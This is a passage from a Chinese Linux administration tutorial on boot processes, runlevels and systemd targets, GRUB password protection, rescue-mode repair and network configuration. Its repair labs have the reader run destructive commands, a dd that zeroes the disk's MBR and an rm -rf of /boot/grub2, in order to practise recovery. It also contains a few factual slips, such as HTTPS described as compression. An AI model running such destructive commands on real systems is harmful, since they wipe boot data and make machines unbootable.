服务器使用tcp协议,客户端只能使用的配置文件中这一行必须有两个@@

                *.* @@192.168.1.64:514

16.4 实战-配置公司内网服务器每天定时自动开关机

实战场景:为了节约公司开销,需要你设置公司的svn版本管理服务器,每天晚上23:00开机,每天早上9:00自动开机。

16.4.1 定时关机

[root@localhost ~]# crontab -e #写入以下内容
0 23 * * * /usr/sbin/shutdown -h now

16.4.2 定时开机

这个可以通过设置bios(位于主板中的最底层控制系统)来实现,前提是bios支持电源管理。

进入bios,一般是在开机后出现主板画面是按Delete这个键,部分品牌机可能按F2,进入bios设置界面了。然后通过键盘上的箭头选择Power Management Setup,就进入电源管理设置了。

通过回车进入这个设置后,选择Wake Up Event Setup,回车选择Press Enter。

 最后,在这个界面内继续找到Resume By RTC Alarm,回车选择一下。

 继续回车选择,将Disabied 更改为Enabled,然后继续回车确定。然后再继续设置时间点和日期。

 然后选择日期,并且选择你需要电脑每天需要在几点开机,当然,要保证你的主板时间是准确的。

假如你需要每天都定时开机,就选择Every Day,,你如果想要在每天6:45开机,就通过数字键输入06:15:00,最后,一般按F10 进行保存,重启电脑后生效!希望各位能从本片经验中学会如何定时开机。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十七章 Linux系统启动原理及故障排除

17.1 centos6系统启动过程及相关配置文件

17.1.1 centos6系统启动过程

1. 加载 BIOS 的硬件信息,跟据设定取得第一个可开机引导设置,如:光驱,硬盘,网络,USB; 如果是硬盘为第一引导。

2. 读取硬盘中 MBR 的 boot Loader 就是 grub引导

GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动程序。

MBR的硬盘的0柱面、0磁头、1扇区称为主引导扇区(也叫主引导记录MBR)。它由三个部分组成,主引导程序、硬盘分区表DPT(Disk Partition table)和硬盘有效标志(55AA)。

互动:为什么MBR分区表,只能分4个主分区?

注:磁盘默认一个扇区大小为:512字节。MBR由以下3部分组成:

第一部分是:主引导程序(boot loader)占446个字节。主引导程序,它负责从活动分区中装载,并运行系统引导程序。

第二部分是Partition table区(分区表),即DPT,占64个字节,硬盘中分区有多少以及每一分区的大小都记在其中。每个分区表项长16个字节,16*4=64字节。为分区项1、分区项2、分区项3、分区项4。64字节只存4个分区表。

第三部分是MBR有效标识位,占2个字节,固定为55AA。如果这个标志位0xAA55,就认为这个是MBR。

所以:16*4+446+2=512

3. 依据 boot loader 的设定,到引导分区加载 Kernel ,Kernel 会开始侦测硬件并加载驱劢程序;

4. 在硬件驱动成功后,Kernel 会主动执行 init 程序,而 init 会取得 run-level 信息;

5. init 执行 /etc/rc.d/rc.sysinit 文件来准备软件执行的作业环境 (如网络、时区等);

6. init 执行 run-level 下各个服务并启动 (script 方式);

7. init 执行开机后自动运行脚本 /etc/rc.d/rc.local 文件;

8. init 执行虚拟终端机控制程序 mingetty 来启动 login 程序,最后就等待用户登入啦;

如图:

 17.1.2 centos6启动相关的配置文件        

[root@xuegod64 Desktop]# vim /boot/grub/grub.conf
default=0 设定默认启动菜单项,当系统中有多个内核时,0表示默认加载第1个,1表示第2个内核
timeout=5 菜单项等待选项时间为5s
splashimage=(hd0,0)/grub/splash.xpm.gz 指明菜单背景图片路径为
hiddenmenu 隐藏菜单
title CentOS (2.6.32-358.6.1.el6.x86_64) 定义菜单项
root (hd0,0) grub查找stage2及kernel文件所在设备分区,grub的根
kernel /vmlinuz-2.6.32-358.6.1.el6.x86_64 ro root=/dev/vg_have/lv_root rd_NO_LUKS LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 crashkernel=auto rhgb quiet 启动的内核
initrd /initramfs-2.6.32-358.6.1.el6.x86_64.img 内核匹配的ramfs文件

修改系统启动级别:

[root@xuegod64 Desktop]# vim /etc/inittab
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:3:initdefault: #这里决定系统启动的级别

/etc/rc.d/rc.sysinit shell脚本 作用:系统初始化: 像:主机名 和/etc/fstab 都在这里指定了,完成了包括mount分区 激活swap 加载modules等重要的工作.

启动对应级别下的服务如: init 3 级别

/etc/rc.d/rc3.d/(这里的程序/服务S开头的全部开机执行;K开头的表示开机不执行,表明了关机时顺序)

rcn.d (n为1到6) 是对应于不同的runlevel下起不同的服务. 这些目录下都是一些符号连接, 连接到/etc/rc.d/init.d下的一些文件.以S开头的表示要启动, 以K开头的不启动.  第一个字母后面的数值是一个优先级.

[root@localhost ~]# ll /etc/rc.d/rc3.d/ | grep network

lrwxrwxrwx. 1 root root 17 Dec 18 2012 S10network -> ../init.d/network #表示network是第10个启动的服务。 所以init是顺序启动系统,需要一个一个服务启动成功,再执行下一步操作,启动系统比较慢。而centos7中的systemd可以并行启动多个服务,启动比较快。

例:

[root@localhost rc3.d]# vim /etc/init.d/network
#! /bin/bash
#
# network Bring up/down networking
#
# chkconfig: 2345 10 90 看有chkconfig的那一行, 2345表示在runlevel 2 3 4 5下被启动, 10是为此服务的启动顺序, 90为关机时,关闭此服务的顺序。
[root@localhost ~]# chkconfig --list | grep network
network 0:off 1:off 2:on 3:on 4:on 5:on 6:off
[root@localhost ~]# ll /etc/rc.d/rc3.d/ | grep network
lrwxrwxrwx. 1 root root 17 Dec 18 2012 S10network -> ../init.d/network #开机顺序
[root@localhost ~]# chkconfig network off
[root@localhost ~]# ll /etc/rc.d/rc3.d/ | grep network
lrwxrwxrwx 1 root root 17 May 23 21:17 K90network -> ../init.d/network #只显示k90关机顺序了
[root@xuegod64 rc3.d]# chkconfig --list network
network 0:off 1:off 2:off 3:off 4:off 5:off 6:off

所有服务都运行成功后,设置开机自动执行某个命令: /etc/rc.local

[root@xuegod64 rc3.d]# vim /etc/rc.local
[root@xuegod64 rc3.d]# ll !$
ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Dec 18 2012 /etc/rc.local -> rc.d/rc.local
[root@xuegod64 rc3.d]# ll /etc/rc.d/rc.local
-rwxr-xr-x. 1 root root 240 Feb 5 21:17 /etc/rc.d/rc.local

运行mingetty命令,打开tty1-6

[root@xuegod64 rc3.d]# ps -axu | grep ming
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root 2346 0.0 0.0 4116 548 tty2 Ss+ 20:55 0:00 /sbin/mingetty /dev/tty2
root 2348 0.0 0.0 4116 548 tty3 Ss+ 20:55 0:00 /sbin/mingetty /dev/tty3
root 2350 0.0 0.0 4116 544 tty4 Ss+ 20:55 0:00 /sbin/mingetty /dev/tty4
root 2352 0.0 0.0 4116 544 tty5 Ss+ 20:55 0:00 /sbin/mingetty /dev/tty5
root 2354 0.0 0.0 4116 544 tty6 Ss+ 20:55 0:00 /sbin/mingetty /dev/tty6

[root@localhost ~]# runlevel #查看系统启动级别

N 5

[root@localhost ~]# init 3
[root@localhost ~]# runlevel
5 3 #由5启动级别进入3级别

[root@localhost ~]# init 5
[root@localhost ~]# runlevel
3 5 #由3启动级别进入5级别

17.2 centos7系统启动过程及相关配置文件

17.2.1 centos7系统启动过程

CentOS7引导顺序

1. UEFi或BIOS初始化,运行POST开机自检

2. 选择启动设备

3. 引导装载程序, centos7是grub2

4. 加载装载程序的配置文件:/etc/grub.d/ /etc/default/grub /boot/grub2/grub.cfg

5. 加载内核选项

6. 加载initramfs初始化伪文件系统

7. 内核初始化,centos7使用systemd代替init

8. 执行initrd.target所有单元,包括挂载/etc/fstab

9. 从initramfs根文件系统切换到磁盘根目录

10. systemd执行默认target配置,配置文件/etc/systemd/system/default.target

11. systemd执行sysinit.target初始化系统及basic.target准备操作系统

12. systemd启动multi-user.target下的本机与服务器服务

13. systemd执行multi-user.target下的/etc/rc.d/rc.local

14. Systemd执行multi-user.target下的getty.target及登录服务

15. systemd执行graphical需要的服务

centos7启动过程:

[root@localhost logs]# find /boot/ -name *img*
/boot/grub2/i386-pc/core.img
/boot/grub2/i386-pc/boot.img

17.2.2 Systemd运行原理-了解一下

Systemd概述:systemd即为system daemon [ˈdi:mən] 守护进程,是linux下的一种init软件,开发目标是提供更优秀的框架以表示系统服务间的依赖关系,并依此实现系统初始化时服务的并行启动,同时达到降低Shell的系统开销的效果,最终代替现在常用的System V与BSD风格init程序。

与多数发行版使用的System V风格init相比,systemd采用了以下新技术: (1) 采用Socket激活式与总线激活式服务,以提高相互依赖的各服务的并行运行性能; (2) 用Cgroups代替PID来追踪进程,以此即使是两次fork之后生成的守护进程也不会脱离systemd的控制。

unit对象:unit表示不同类型的systemd对象,通过配置文件进行标识和配置;文件中主要包含了系统服务、监听socket、保存的系统快照以及其它与init相关的信息

Systemd配置文件:

• /usr/lib/systemd/system/ #这个目录存储每个服务的启动脚本,类似于之前的/etc/init.d/

• /run/systemd/system/ #系统执行过程中所产生的服务脚本,比上面目录优先运行

• /etc/systemd/system/ #管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/Sxx类的功能,比上面目录优先运行

注意: 对于新创建的unit文件,或者修改了的unit文件,要通知systemd重载此配置文件,而后可以选择重启

[root@localhost ~]# systemctl daemon-reload

总结:centos5-6-7 3个系统版本启动过程:

CentOS 5: SysV init ; CentOS 6: Upstart ;CentOS 7: Systemd

17.2.3 管理系统服务

命令: systemctl COMMAND name.service

-

centOS6

CentOS7

启动

service name start

systemctl start name.service

停止

service name stop

systemctl stop name.service

重启

service name restart

systemctl restart name.service

状态

service name status

systemctl status name.service

重载或重启服务(先加载,再启动)

-

systemctl reload-or-restart name.service

chkconfig命令的对应关系

-

centOS6

CentOS7

设定某服务开机自启

chkconfig name on

systemctl enable name.service

设定某服务开机禁止启动

chkconfig name off

systemctl disable name.service

查看所有服务的开机自启状态

chkconfig --list

systemctl list-unit-files --type service

用来列出该服务在哪些运行级别下启用和禁用

chkconfig sshd –list

ls /etc/systemd/system/*.wants/sshd.service

查看服务是否开机自启

-

systemctl is-enabled name.service

服务状态

[root@localhost ~]# systemctl list-unit-files #显示状态
• loaded:Unit配置文件已处理
• active(running):一次或多次持续处理的运行
• active(exited):成功完成一次性的配置
• active(waiting):运行中,等待一个事件
• inactive:不运行
• enabled:开机启动
• disabled:开机不启动
• static:开机不启动,但可被另一个启用的服务激活

17.2.4 运行级别

centos6下Linux运行级别0-6的各自含义

0: 关机模式

1:单用户模式 ,用于破解root密码

2:无网络,支持的多用户模式

3:有网络支持的多用户模式(一般叫字符界面,工作中最长使用的模式)

4:保留,未使用

5:有网络支持,支持图形界面,支持的多用户模式(图形界面)

6:重新引导系统,及重启

可以在不同级别下,设置服务是否随系统启动运行。在centOS7上运行级别的含义已经和之前不同了,已由.target来代替运行级别,我们可以称target为目标态,我们可以通过target定制更符合我们工作运行环境。

[root@localhost ~]# ls /usr/lib/systemd/system/*.target #查看我们的机器上有多少个target
[root@localhost ~]# ll /usr/lib/systemd/system/*.target | grep runlevel
lrwxrwxrwx. 1 root root 15 9月 19 2017 /usr/lib/systemd/system/runlevel0.target -> poweroff.target
lrwxrwxrwx. 1 root root 13 9月 19 2017 /usr/lib/systemd/system/runlevel1.target -> rescue.target
lrwxrwxrwx. 1 root root 17 9月 19 2017 /usr/lib/systemd/system/runlevel2.target -> multi-user.target
lrwxrwxrwx. 1 root root 17 9月 19 2017 /usr/lib/systemd/system/runlevel3.target -> multi-user.target
lrwxrwxrwx. 1 root root 17 9月 19 2017 /usr/lib/systemd/system/runlevel4.target -> multi-user.target
lrwxrwxrwx. 1 root root 16 9月 19 2017 /usr/lib/systemd/system/runlevel5.target -> graphical.target
lrwxrwxrwx. 1 root root 13 9月 19 2017 /usr/lib/systemd/system/runlevel6.target -> reboot.target

注: 发现在runlevel2-4 都是调用multi-user.target这个unit。所以在centos7上runlevel2-4是一个意思

[root@localhost ~]# systemctl list-unit-files --type target #查看所有target的状态

[root@localhost ~]# systemctl list-dependencies runlevel3.target #查看3级别Unit 的所有依赖。Unit 之间存在依赖关系:A 依赖于 B,就意味着 Systemd 在启动 A 的时候,同时会去启动 B。也可以理解也3运行级别下都开启哪些服务

在centOS7上所谓的目标态,其实就是由各种指定的服务和基础target组合而成的。

总结:centos6和7运行级别的变化

6 7

init systemd

Traditional runlevel | New target name Symbolically linked to...

Runlevel 0 | runlevel0.target -> poweroff.target

Runlevel 1 | runlevel1.target -> rescue.target

Runlevel 2 | runlevel2.target -> multi-user.target

Runlevel 3 | runlevel3.target -> multi-user.target

Runlevel 4 | runlevel4.target -> multi-user.target

Runlevel 5 | runlevel5.target -> graphical.target

Runlevel 6 | runlevel6.target -> reboot.target

Init 0 systemctl poweroff 关机

Init 1 systemctl isolate rescue.target 单用户

Init 3 systemctl isolate multi-user.target 字符界面

Init 5 systemctl isolate graphical.target 图形化

Init 6 systemctl reboot 重启

17.2.5 运行级别的切换

1、在centOS6上,我们切换级别使用init,在centOS7上虽然也能使用,但是调用的不再是原来的程序了。centos7使用systemctl isolate name.target来切换target。 # isolate [ˈaɪsəleɪt] 分离,隔离

例1:在centos6/7下切换到字符界面:

[root@localhost ~]# init 3 #切换到字符界面

[root@localhost ~]# init 5 #切换到图形界面

例2:centos7切换到字符界面

[root@localhost ~]# systemctl isolate multi-user.target

或:

[root@localhost ~]# systemctl isolate runlevel3.target

2、centos7设置默认系统默认启动级别

systemctl set-default name.target来修改我们的目标态。

我们看一下我们的默认目标态究竟为何物。

[root@localhost ~]# ll /etc/systemd/system/default.target

 注:它其实就是创建了一个软链接到指定的target上去了

例1:默认系统启动使用3级别字符界面

[root@localhost ~]# systemctl set-default multi-user.target
Removed symlink /etc/systemd/system/default.target.
Created symlink from /etc/systemd/system/default.target to /usr/lib/systemd/system/multi-user.target.
[root@localhost ~]# ll /etc/systemd/system/default.target #查看链接
lrwxrwxrwx 1 root root 41 5月 23 19:08 /etc/systemd/system/default.target -> /usr/lib/systemd/system/multi-user.target

例2:默认系统启动使用5级别图形界面

[root@localhost ~]# systemctl set-default graphical.target

17.2.6 grub2和grub区别-了解

在centOS6上,我们的grub文件是/boot/grub/grub.conf

在centOS7使用grub2,配置文件改成/boot/grub2/grub.cfg了,但是功能还是大致一样的都是用于加载内核的,不过在centOS7上设置默认启动项发生了一些变化。

互动:如果我们的系统中有两个内核?改变默认启动的内核顺序?

例1: centos7修改内核启动顺序

[root@localhost ~]# vim /etc/default/grub
GRUB_TIMEOUT=5 #开机时 grub 默认5秒后启动内核
GRUB_DISTRIBUTOR="$(sed 's, release .*$,,g' /etc/system-release)"
改:GRUB_DEFAULT= saved
为:GRUB_DEFAULT= 1 #这里我们改成1,0代表第一个内核,1代表第二个,以此类推。
UB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT="console"
GRUB_CMDLINE_LINUX="crashkernel=auto rhgb quiet net.ifnames=0"
GRUB_DISABLE_RECOVERY="true"
[root@localhost ~]# grub2-mkconfig -o /boot/grub2/grub.cfg #修改完成后,并没有立即生效,使用此命令来生成grub.cfg文件,我们在下次启动的时候就会默认选择新的默认内核。
[root@localhost ~]# uname -r #查当前系统内核
3.10.0-693.2.2.el7.x86_64
[root@localhost ~]# reboot
[root@localhost ~]# uname -r #重启成功后, 发现加载的内核变了
3.10.0-693.el7.x86_64

例2: centos6修改内核启动顺序-了解

[root@localhost ~]# vim /boot/grub/grub.conf
改:10 default=0
为:10 default=1
[root@localhost ~]# reboot

17.3 实战-加密grub防止黑客通过单用户系统破解root密码

实战场景:如何防止别人恶意通过单用户系统破解root密码,进入系统窃取数据?

给grub加密,不让别人通过grub进入单用户。

17.3.1 基于centos6进行grub加密

[root@localhost ~]# grub-md5-crypt
Password: 123456
Retype password: 123456
$1$oaqo5$3d/cmTosm68jTw6o1wCu31
[root@localhost init]# vim /boot/grub/grub.conf
#boot=/dev/sda
default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
password --md5 $1$oaqo5$3d/cmTosm68jTw6o1wCu31
title Red Hat Enterprise Linux (2.6.32-220.el6.x86_64)
root (hd0,0)

如图:

 重启测试:

编辑grub时,需要按下p键,然后输入密码:123456

17.3.2 基于centos7进行grub加密

生成密码

[root@localhost ~]# grub2-mkpasswd-pbkdf2

输入口令: 123456

Reenter password: 123456

PBKDF2 hash of your password is grub.pbkdf2.sha512.10000.8F355BAB512AFB7B8C990A1FEB887B8F2F3F1C54467E9B9F0535F2268E1FFC5F4E8D33F7633D7FBEC25B2039C6D8B3226A90528D4883AB9B99E391A4965D069F.DDE992693BE2C09FFEEC1149120B6B84DBAB933DE6CF7BFF718E1DDC858AB73EE32CFF45EB7F06AC45AA6792E91C4CD09E2B445FC288C47E79F537DBBABAD756
[root@localhost ~]# vim /etc/grub.d/00_header #在最后后面添加如下内容,注mk这个用户名可以换成自己的用户名

cat

set superusers='mk'

password_pbkdf2 mk grub.pbkdf2.sha512.10000.8F355BAB512AFB7B8C990A1FEB887B8F2F3F1C54467E9B9F0535F2268E1FFC5F4E8D33F7633D7FBEC25B2039C6D8B3226A90528D4883AB9B99E391A4965D069F.DDE992693BE2C09FFEEC1149120B6B84DBAB933DE6CF7BFF718E1DDC858AB73EE32CFF45EB7F06AC45AA6792E91C4CD09E2B445FC288C47E79F537DBBABAD756

EOF

如下图:

[root@localhost ~]# grub2-mkconfig -o /boot/grub2/grub.cfg #更新grub信息

重启验证:

 输入用户名和密码

看到可以进入GRUB菜单,就证明你加密成功了

按ctrl-x 开始启动

17.4 实战-通过liveCD进入救援模式-重装grub修复损坏的系统

实战:使用系统光盘进入救援模式拯救坏掉的系统

实战场景:当系统坏了,进不去了,还需要把里面的数据复制出来,怎么办?

可以进入救援模式拷贝数据

17.4.1 基于6版本系统进入救援模式

修改BIOS启动顺序,直接以光盘引导系统

ramfs : 内存文件系统

chroot /mnt/sysimage # 切换文件系统根

 17.4.2 实战-当MBR引导记录损坏后-重装grub进行修复

使用场景: 修复MBR,主要出现在安装双系统时,后安装的系统把原来系统的MBR删除了,需要修复。

第一步:在centOS7下破坏硬盘的前446字节:

[root@CT731 ~]#dd if=/dev/zero of=/dev/sda bs=1 count=446
446+0 records in
446+0 records out
446 bytes (446 B) copied,0.000758682 s,588 kB/s

第二步:将centos7系统光盘挂载到虚拟机光驱上,,重启计算机,修改BIOS引导顺序,让光盘启动。

进入启动的界面

 上面有三项,我们选择第三项进入troubleshooting故障排除界面 ,进入第三项后,点击第二项,进入救援模式的centos的系统

 然后我们进入如下模式,选择1,继续进行,接下来,我们就会进入到一个shell模式中,需要切换根目录,进行系统修复:

 先退一下,再重启,修复完成

17.4.3 实战-在centOS7下误删除grub文件进行修复

第一步:删除grub2

[root@localhost ~]# rm -rf /boot/grub2

第二步,重启计算机

[root@localhost ~]# reboot

进入如下界面:

 现在开始解决grub

重启系统,按Esc,进入光盘救援模式,选择第三项,进入光盘救援(前提是挂载光盘)

使用live cd 进入救援模式后:

第一步:切根

 

 然后执行命令

grub2-install

下图中,我们可以看到在grub2文件夹中,还没有grub.cfg文件,接下来,我们需要生成配置文件:

进入到grub2下,.

exit然后,重启电脑:

 修改BIOS 引导,让硬盘做第一引导

注: centos系统下载链接  http://vault.centos.org/ 大家可以在这里下载centos6相关的系统。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十八章 Linux网络管理技术

18.1 OSI七层模型和TCP/IP四层模型

18.1.1 OSI七层参考模型,TCP/IP四层参考模型

OSI七层模型:OSI(Open System Interconnection)开放系统互连参考模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间互联的标准体系。

TCP/IP四层模型:TCP/IP参考模型是计算机网络的祖父ARPANET和其后继的因特网使用的参考模型。

分层作用:方便管理

七层模型优点:

1、把复杂的网络划分成为更容易管理的层(将整个庞大而复杂的问题划分为若干个容易处理的小问题)

2、没有一个厂家能完整的提供整套解决方案和所有的设备,协议.

3、独立完成各自该做的任务,互不影响,分工明确,上层不关心下层具体细节,分层同样有益于网络排错

功能与代表设备

分层

名字

功能

工作在该层的设备

7

应用层

提供用户界面

QQ,IE 。应用程序

6

表示层

表示数据,进行加密等处理

5

会话层

将不同应用程序的数据分离

4

传输层

提供可靠或不可靠的传输,在重传前执行纠错

防火墙

3

网络层

提供逻辑地址,路由器使用它们来选择路径

三层交换机、路由器

2

数据链路层

将分组拆分为字节,并讲字节组合成帧,使用MAC地址提供介质访问,执行错误检测,但不纠错

二层交换机,网卡

1

物理层

在设备之间传输比特,指定电平,电缆速度和电缆针脚

集线器

互动:为什么现代网络通信过程中用TCP/IP四层模型,而不是用OSI七层模型呢?

OSI七层模型是理论模型,一般用于理论研究,他的分层有些冗余,实际应用,选择TCP/IP的四层模型。而且 OSI 自身也有缺陷,大多数人都认为 OSI 模型的层次数量与内容可能是最佳的选择,其实并非如此,其中会话层和表示层几乎是空的,而数据链路层和网络层包含内容太多,有很多的子层插入,每个子层都有不同的功能。

18.1.2 常见网络相关的协议

ARP(Address Resolution Protocol):地址解析协议,将IP解析成MAC地址

DNS:域名解析协议 www.baidu.com

SNMP(Simple Network Management Protocol)网络管理协议

DHCP(Dynamic Host Configuration Protocol)动态主机配置协议,它是在TCP/IP网络上使客户机获得配置信息的协议

FTP(File Transfer Protocol)文件传输协议,它是一个标准协议,是在计算机和网络之间交换文件的最简单的方法。

HTTP(Hypertext Transfer Protocol ):超文本传输协议

HTTPS(Secure Hypertext Transfer Protocol):安全超文本传输协议,它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作.

ICMP(Internet Control Message Protocol):Internet控制信息协议,互联网控制报文协议

ping ip定义消息类型有:TTL超时、地址的请求与应答、信息的请求与应答、目的地不可到达

SMTP(Simple Mail Transfer Protocol):简单邮件传送协议

TELNET Protocol:虚拟终端协议

TFTP(Trivial File Transfer Protocol):小文件传输协议

UDP(User Datagram Protocol):用户数据报协议,它是定义用来在互连网络环境中提供包交换的计算机通信的协议

TCP(Transmission Control Protocol): 传输控制协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议 log转发:开启一个协议:tcp(三次握手和四次挥手)

TCP协议和UDP协议的区别

(1)TCP协议:TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,在收发数据前,必须和对方建立可靠的连接。

(2)UDP协议:UDP 是User Datagram Protocol的简称, 中文名是用户数据报协议,是一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务

总结:TCP与UDP的区别: 1.基于连接与无连接; 2.对系统资源的要求(TCP较多,UDP少); 3.UDP程序结构较简单;UDP信息包的标题很短,只有8个字节,相对于TCP的20个字节信息包的额外开销很小。所以传输速度可更快 4.TCP保证数据正确性,UDP可能丢包;TCP保证数据顺序,UDP不保证。

场景: 视频,语音通讯使用udp,或网络环境很好,比如局域网中通讯可以使用udp。 udp数据传输完整性,可以通过应用层的软件来校对就可以了。

tcp传文件,数据完整性要求高。

18.1.3 TCP和UDP 常用端口号名称

(1)TCP 端口分配

21

ftp

文件传输服务

22

ssh

安全远程连接服务

23

telnet

远程连接服务

25

smtp

电子邮件服务

53

DNS

域名解析服务,有tcp53也有用udp53端口传输

80

http

web服务

443

https

安全web服务

互动:如果你不知道哪个端口对应哪个服务怎么办?如873端口是哪个服务的?

[root@localhost ~]# vim /etc/services #此文件中,包含所有常见端口号及服务名称

 #此文件可以查看常用端口对应的名字。iptables或netstat要把端口解析成协议名时,都需要使用到这个文件。另外后期xinetd服务管理一些小服务时,也会使用到此文件来查询对应的小服务端口号。

注:有的服务是UDP和TCP端口都会监听的

18.1.4 IP地址分类

IP地址分5类,常见的地址是A、B、C 三类

A类地址:范围从0-127,0是保留的并且表示所有IP地址,而127也是保留的地址,并且是用于测试环回口用的。因此A类地址的可用的范围其实是从1-126之间。以子网掩码:255.0.0.0.

B类地址:范围从128-191,如172.168.1.1,以子网掩码来进行区别:255.255.0.0

C类地址:范围从192-223,以子网掩码来进行区别: 255.255.255.0

D类地址:范围从224-239,被用在多点广播(Multicast)中。多点广播地址用来一次寻址一组计算机,它标识共享同一协议的一组计算机。

E类地址:范围从240-254,为将来使用保留。

ABC 3类中私有IP地址范围:

A:10.0.0.0--10.255.255.255 /8

B: 172.16.0.0--172.31.255.255 /16

C: 192.168.0.0--192.168.255.255 /24

互动: ping 127.0.0.1 可以ping通。ping 127.23.23.23 可以ping通吗?

结论:这个127这个网段都用于环回口

18.2 linux网络相关的调试命令

18.2.1 查看网卡物理连接是否正常

[root@localhost ~]# mii-tool ens33
ens33: negotiated 1000baseT-FD flow-control, link ok

[root@localhost ~]# ethtool ens33

查看IP相关信息

ifconfig命令被用于配置和显示Linux内核中网络接口的网络参数。

[root@localhost ~]# ifconfig

常见的一些网络接口

        eth0 ..... eth4 ... 以太网接口(linux6)

        waln0 无线接口

        eno177776 以太网接口 (linux7)

        ens33 以太网接口(linux7)

        bond0 team0 网卡绑定接口

        virbr0 虚拟交换机桥接接口

        br0 虚拟网桥接口

        lo 本地回环接口

        vnet0 KVM虚拟机网卡接口

18.2.2 修改网卡IP地址

方法1:手工修改网卡配置文件

[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE=Ethernet #设置类型是以太网设备
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none # 参数:static静态IP 或dhcp 或none无(不指定),如是none,配上IP地址和static效果一样
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33 #网卡名字
UUID=c713acec-674b-411d-9e61-646482a292ca #网卡UUID,全球唯一
DEVICE=ens33 #设备名字,在内核中识别的名字
ONBOOT=yes #启用该设备,如果no,表示不启动此网络设备
IPADDR=192.168.1.63 #IP地址
PREFIX=24 #子网掩码,24相当于255.255.255.0
GATEWAY=192.168.1.1 #默认网关
DNS1=114.114.114.114 #首选DNS地址
DNS2=8.8.8.8 #备用DNS地址
IPV6_PRIVACY=no
PEERDNS=no

例1: 给虚拟机再添加一个网卡,并手动成生网卡配置文件

 添加一块网卡

新加的网卡,也使用桥接模式。

[root@localhost ~]# ifconfig -a # -a查看所有网络设备,包括没有启动的网卡设备
ens33: flags=4163 mtu 1500

。。。

ens38: flags=4163 mtu 1500

注:我这里显示第二块网卡名字是ens38,你那边可能不是。这是由内核实别出来的

默认新增加的网卡没有配置文件,现在手动添加一个

[root@localhost ~]# cd /etc/sysconfig/network-scripts/
[root@localhost network-scripts]# cp ifcfg-ens33 ifcfg-ens38
[root@localhost network-scripts]# vim ifcfg-ens38 #修改内容
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens38
UUID=c713acec-674b-411d-9e61-646482a292ca #这一行删除掉
DEVICE=ens38
ONBOOT=yes
IPADDR=192.168.1.68 #改成68 IP
PREFIX=24
GATEWAY=192.168.1.1
DNS1=114.114.114.114
IPV6_PRIVACY=no
PEERDNS=no

[root@localhost ~]# systemctl restart NetworkManager
[root@localhost ~]# ifconfig #发现ens38 ,IP地址没有修改成功
[root@localhost ~]# service network restart #重启网络服务生效
[root@localhost ~]# ifconfig #发现ens38 ,IP地址配置成功

例1:启动关闭指定网卡:

[root@localhost ~]# ifconfig ens38 down
[root@localhost ~]# ifconfig
[root@localhost ~]# ifconfig ens38 up

例2:临时配置IP地址

[root@localhost ~]# ifconfig ens38 192.168.1.90

或

[root@localhost ~]# ifconfig ens38 192.168.1.90 netmask 255.255.255.0

例3:给一个网络临时配置多个IP地址

[root@localhost ~]# ifconfig ens33:1 192.168.1.3 netmask 255.255.255.0
[root@localhost ~]# ifconfig
ens33: flags=4163 mtu 1500

。。。
ens33:1: flags=4163 mtu 1500
inet 192.168.1.3 netmask 255.255.255.0 broadcast 192.168.1.255


方法2:NetworkManager

[root@localhost ~]# nmtui

1.需要有配置文件
2.需要激活网卡(让配置文件生效)

[root@localhost ~]# nmcli connection show
NAME         UUID                                  TYPE      DEVICE
System eth0  5fb06bd0-0bb0-7ffb-45f1-d6edd65f3e03  ethernet  eth0
ztly52dwr6   a725ce38-fcc3-4db5-8854-fd176bc12196  tun       ztly52dwr6
ztzlgmvkky   3243ed2f-352b-44be-ac3a-5a24563d5082  tun       ztzlgmvkky

[root@localhost ~]# nmcli connection add type ethernet ifname eth0 con-name eth0 ipv4.addresses 192.168.1.2/24 ipv4.dns 192.168.1.254 ipv4.gateway 192.168.1.254 ipv4.method manual autoconnect yes
[root@localhost ~]# nmcli connection modify System\ eth0 ipv4.addresses 192.168.1.100/24


网卡绑定

[root@localhost ~]# nmcli connection add type bond con-name bond0 ifname bond0 mode active-backup miimon 1000 ipv4.addresses 192.168.100.100/24 ipv4.gateway 192.168.100.254 ipv4.dns 192.168.100.254 ipv4.method manual
[root@localhost ~]# nmcli connection add type ethernet slave-type bond ifname eth0 con-name eth0 master bond0
[root@localhost ~]# nmcli connection add type ethernet slave-type bond ifname eth1 con-name eth1 master bond0
[root@localhost ~]# nmcli connection up bond0

网卡桥接

[root@localhost ~]# nmcli connection add type bridge ifname br0 con-name br0 ipv4.addresses 192.168.100.200/24 ipv4.gateway 192.168.100.254 ipv4.dns 192.168.100.254 ipv4.method manual
[root@localhost ~]# nmcli connection add type ethernet slave-type bridge ifname eth0 con-name eth0 master br0
[root@localhost ~]# nmcli connection up br0

18.2.3 查看端口的监听状态

netstat 命令: 查看系统中网络连接状态信息,

常用的参数格式 : netstat -anutp

-a, --all 显示本机所有连接和监听的端口

